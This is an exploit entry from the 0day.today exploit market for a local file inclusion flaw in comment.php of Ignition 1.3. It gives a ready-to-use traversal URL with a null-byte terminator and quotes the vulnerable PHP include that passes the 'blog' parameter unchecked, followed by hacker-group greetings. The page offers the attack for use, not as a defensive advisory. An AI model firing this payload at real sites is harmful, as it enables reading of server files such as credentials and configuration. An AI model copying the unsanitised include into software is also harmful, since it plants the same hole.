[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Ignition 1.3 (comment.php) Local File Inclusion Vulnerability

Author
n0n0x
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15279
Category
web applications
Date add
07-01-2011
Platform
php
#######################################################
#Ignition 1.3 <=== Local File Include
#######################################################
#By n0n0x
#Homepage: http://priasantai.uni.cc/
#Download script :http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz
#######################################################
=========================================
xpl :
http://site.com/comment.php?blog=../../../../../../../../../../LFI%00
 
<?php
session_start();
require ('data/settings.php');
include ('data/posts/'.$_GET['blog'].'.txt'); <== LFI vuln
?>
=========================================
#######################################################
#Greetz: all member | manadocoding.org - sekuritiOnline.net
#
# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3,  0pa, x0r0n, team_elite, thama,
#            devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet
######################################################



#  0day.today [2024-12-24]  #